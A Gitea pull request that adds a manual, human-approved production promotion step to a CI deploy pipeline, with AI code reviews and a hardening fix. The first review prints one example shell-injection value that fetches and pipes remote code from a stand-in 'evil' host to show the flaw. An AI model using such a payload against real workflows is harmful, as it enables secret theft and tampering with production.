ci: two-stage deploy — staging automatic, production behind a manual approval #33

Merged
tudor merged 5 commits from chore/staged-prod-promotion into main 2026-07-13 12:30:19 +00:00
Owner

Changes the deploy model from fully automatic to two-stage with a second human approval:

  1. Merge → staging (automatic, unchanged): build once (sha-* + staging tags), staging Portainer webhook, Playwright e2e gate. The pipeline now stops here — the auto-promotion job is removed from deploy.yml.
  2. Staging → production (new, manual): Actions → "Promote to Production (manual)" → Run workflow. Leave the SHA empty to promote the latest main, or paste a specific commit. The workflow refuses commits whose E2E Journeys against Staging status isn't green, retags the images :prod (saving :prod-previous), triggers the prod webhook, and health-checks.

Rollback: re-run the promote workflow with the last good SHA, or retag :prod-previous:prod manually (recipe in docs/DEPLOY.md).

Promotion granularity: staging always runs the latest main — promoting approves a state of main, not a single PR.

⚠️ Between merging this PR and the first promote run, production receives no deployments (expected — that's the point).

🤖 Generated with Claude Code

https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB

Changes the deploy model from fully automatic to two-stage with a second human approval: 1. **Merge → staging (automatic, unchanged):** build once (`sha-*` + `staging` tags), staging Portainer webhook, Playwright e2e gate. The pipeline now **stops here** — the auto-promotion job is removed from `deploy.yml`. 2. **Staging → production (new, manual):** Actions → **"Promote to Production (manual)"** → Run workflow. Leave the SHA empty to promote the latest main, or paste a specific commit. The workflow refuses commits whose `E2E Journeys against Staging` status isn't green, retags the images `:prod` (saving `:prod-previous`), triggers the prod webhook, and health-checks. **Rollback:** re-run the promote workflow with the last good SHA, or retag `:prod-previous` → `:prod` manually (recipe in `docs/DEPLOY.md`). **Promotion granularity:** staging always runs the latest main — promoting approves a state of main, not a single PR. ⚠️ Between merging this PR and the first promote run, production receives no deployments (expected — that's the point). 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB
tudor added 4 commits 2026-07-13 07:39:09 +00:00
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB
docs: two-stage deploy model (staging auto, production manual)
PR Checks / Frontend Typecheck + Tests (pull_request) Successful in 9m36s
PR Checks / Backend Smoke (pull_request) Successful in 7s
PR Checks / Build Backend (no push) (pull_request) Successful in 10s
PR Checks / Build Frontend (no push) (pull_request) Successful in 43s
PR Checks / Build Pipeline (no push) (pull_request) Successful in 10s
PR Checks / AI Code Review (Claude) (pull_request) Failing after 2m10s
2b563cc0bf
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB

🤖 AI Code Review (Claude Code)

This PR splits the previous single-stage staging→production deploy pipeline into two Gitea Actions workflows: deploy.yml now stops after the staging E2E gate, and a new promote.yml adds a manual workflow_dispatch step that verifies the E2E gate passed before retagging images to :prod. Docs are updated consistently and the split itself is sound, but the new promote.yml has a script-injection vulnerability in how it handles the user-supplied SHA input.

🔴 Severe (blocks merge)

  • .gitea/workflows/promote.yml: Line 31 splices the untrusted workflow_dispatch input directly into a shell script via SHA_INPUT="${{ gitea.event.inputs.sha }}" instead of passing it through an env: variable. Anyone able to trigger this workflow can supply an input like foo"; curl -s https://evil/x | sh # to break out of the quoted assignment and run arbitrary shell commands in a job that holds REGISTRY_TOKEN (Gitea API + container registry push) and PORTAINER_PROD_WEBHOOK. This allows secret exfiltration or pushing arbitrary content to the :prod tag, bypassing the E2E gate entirely — the exact production-corruption/secret-leak scenario the gate is meant to prevent. Fix by passing the input via env: SHA_INPUT: ${{ gitea.event.inputs.sha }} and referencing $SHA_INPUT in the script body, never interpolating the ${{ }} expression directly into run:.

🟡 Minor

  • .gitea/workflows/promote.yml: The resolved SHA is never checked to be an ancestor of main — workflow_dispatch lets the operator pick any branch/tag to run from, and an empty sha input falls back to that ref's tip rather than main's tip specifically. In practice this is constrained by the E2E-status check (only commits deployed via deploy.yml on push-to-main will have a green 'E2E Journeys against Staging' status), but the workflow doesn't make the main-only invariant explicit or enforced.
  • .gitea/workflows/promote.yml: No concurrency: group guards this workflow, so two overlapping manual runs (or a manual run overlapping a fresh push-triggered staging deploy that changes what :sha-* points to) could interleave retagging steps and leave :prod-previous/:prod in an inconsistent state.
## 🤖 AI Code Review (Claude Code) This PR splits the previous single-stage staging→production deploy pipeline into two Gitea Actions workflows: deploy.yml now stops after the staging E2E gate, and a new promote.yml adds a manual workflow_dispatch step that verifies the E2E gate passed before retagging images to :prod. Docs are updated consistently and the split itself is sound, but the new promote.yml has a script-injection vulnerability in how it handles the user-supplied SHA input. ### 🔴 Severe (blocks merge) - **.gitea/workflows/promote.yml**: Line 31 splices the untrusted workflow_dispatch input directly into a shell script via `SHA_INPUT="${{ gitea.event.inputs.sha }}"` instead of passing it through an `env:` variable. Anyone able to trigger this workflow can supply an input like `foo"; curl -s https://evil/x | sh #` to break out of the quoted assignment and run arbitrary shell commands in a job that holds REGISTRY_TOKEN (Gitea API + container registry push) and PORTAINER_PROD_WEBHOOK. This allows secret exfiltration or pushing arbitrary content to the `:prod` tag, bypassing the E2E gate entirely — the exact production-corruption/secret-leak scenario the gate is meant to prevent. Fix by passing the input via `env: SHA_INPUT: ${{ gitea.event.inputs.sha }}` and referencing `$SHA_INPUT` in the script body, never interpolating the `${{ }}` expression directly into `run:`. ### 🟡 Minor - **.gitea/workflows/promote.yml**: The resolved SHA is never checked to be an ancestor of `main` — workflow_dispatch lets the operator pick any branch/tag to run from, and an empty `sha` input falls back to that ref's tip rather than main's tip specifically. In practice this is constrained by the E2E-status check (only commits deployed via deploy.yml on push-to-main will have a green 'E2E Journeys against Staging' status), but the workflow doesn't make the main-only invariant explicit or enforced. - **.gitea/workflows/promote.yml**: No `concurrency:` group guards this workflow, so two overlapping manual runs (or a manual run overlapping a fresh push-triggered staging deploy that changes what `:sha-*` points to) could interleave retagging steps and leave `:prod-previous`/`:prod` in an inconsistent state.
tudor added 1 commit 2026-07-13 12:14:30 +00:00
fix(ci): harden promote workflow — env-isolated untrusted input, main-ancestry check, concurrency guard
PR Checks / Frontend Typecheck + Tests (pull_request) Successful in 9m38s
PR Checks / Backend Smoke (pull_request) Successful in 6s
PR Checks / Build Backend (no push) (pull_request) Successful in 10s
PR Checks / Build Frontend (no push) (pull_request) Successful in 44s
PR Checks / Build Pipeline (no push) (pull_request) Successful in 10s
PR Checks / AI Code Review (Claude) (pull_request) Successful in 2m39s
6877abedeb
Addresses the AI review findings on PR #33:
- severe: the workflow_dispatch sha input was interpolated directly into
  the run script (shell injection with REGISTRY_TOKEN + prod webhook in
  scope). It now reaches the shell only via env, is rejected if it
  starts with '-', and is resolved locally with git rev-parse.
- minor: the resolved sha must be a 40-hex ancestor of origin/main —
  non-main refs are refused explicitly instead of implicitly.
- minor: a prod-promotion concurrency group serialises promotions
  (cancel-in-progress: false).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB

🤖 AI Code Review (Claude Code)

This PR splits the previous single-stage deploy.yml (which auto-promoted staging images to production after the E2E gate) into an automatic staging-only pipeline plus a new manual workflow_dispatch promote.yml requiring a second human approval. The promote workflow validates the target SHA as a real, main-ancestor commit via env-isolated (non-interpolated) shell handling before use, and refuses to promote a commit unless its 'E2E Journeys against Staging' status is green — this is a well-hardened design, and docs (claude.md, DEPLOY.md) are updated consistently with the new flow. No severe issues found; a couple of minor robustness/security-hygiene gaps remain.

🟡 Minor

  • .gitea/workflows/promote.yml: The checkout step doesn't pin ref: main and the ancestry/ ancestry check is done against origin/main rather than the ref the workflow itself runs from. If workflow_dispatch is ever invoked against a non-main branch containing a modified promote.yml (e.g. one with the ancestry/E2E checks weakened or removed), that branch's version of the workflow executes and could bypass the two-approval gate this PR is meant to enforce. Consider explicitly checking out/pinning main and/or restricting who can dispatch workflows from non-default branches.
  • .gitea/workflows/promote.yml: The E2E-gate check accepts any historical 'success' status matching the context substring for the commit, not necessarily the most recent result. If a commit's E2E run is later re-run and fails, an earlier passing result would still satisfy the gate and allow promotion.
  • docs/superpowers/plans/2026-07-13-staged-prod-promotion.md: The embedded promote.yml draft in Task 2 is an earlier, less-secure version than what was actually shipped: it splices the untrusted ${{ gitea.event.inputs.sha }} input directly into run: (shell-injection risk) and omits the main-ancestry check present in the real .gitea/workflows/promote.yml. Leaving the stale snippet in the plan risks a future reader copying the weaker version.
## 🤖 AI Code Review (Claude Code) This PR splits the previous single-stage deploy.yml (which auto-promoted staging images to production after the E2E gate) into an automatic staging-only pipeline plus a new manual workflow_dispatch promote.yml requiring a second human approval. The promote workflow validates the target SHA as a real, main-ancestor commit via env-isolated (non-interpolated) shell handling before use, and refuses to promote a commit unless its 'E2E Journeys against Staging' status is green — this is a well-hardened design, and docs (claude.md, DEPLOY.md) are updated consistently with the new flow. No severe issues found; a couple of minor robustness/security-hygiene gaps remain. ### 🟡 Minor - **.gitea/workflows/promote.yml**: The checkout step doesn't pin `ref: main` and the ancestry/ ancestry check is done against `origin/main` rather than the ref the workflow itself runs from. If workflow_dispatch is ever invoked against a non-main branch containing a modified promote.yml (e.g. one with the ancestry/E2E checks weakened or removed), that branch's version of the workflow executes and could bypass the two-approval gate this PR is meant to enforce. Consider explicitly checking out/pinning `main` and/or restricting who can dispatch workflows from non-default branches. - **.gitea/workflows/promote.yml**: The E2E-gate check accepts any historical 'success' status matching the context substring for the commit, not necessarily the most recent result. If a commit's E2E run is later re-run and fails, an earlier passing result would still satisfy the gate and allow promotion. - **docs/superpowers/plans/2026-07-13-staged-prod-promotion.md**: The embedded promote.yml draft in Task 2 is an earlier, less-secure version than what was actually shipped: it splices the untrusted `${{ gitea.event.inputs.sha }}` input directly into `run:` (shell-injection risk) and omits the main-ancestry check present in the real .gitea/workflows/promote.yml. Leaving the stale snippet in the plan risks a future reader copying the weaker version.
tudor merged commit 9799ad9b43 into main 2026-07-13 12:30:19 +00:00
Sign in to join this conversation.
No Reviewers
No labels
2 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: tudor/school_compare#33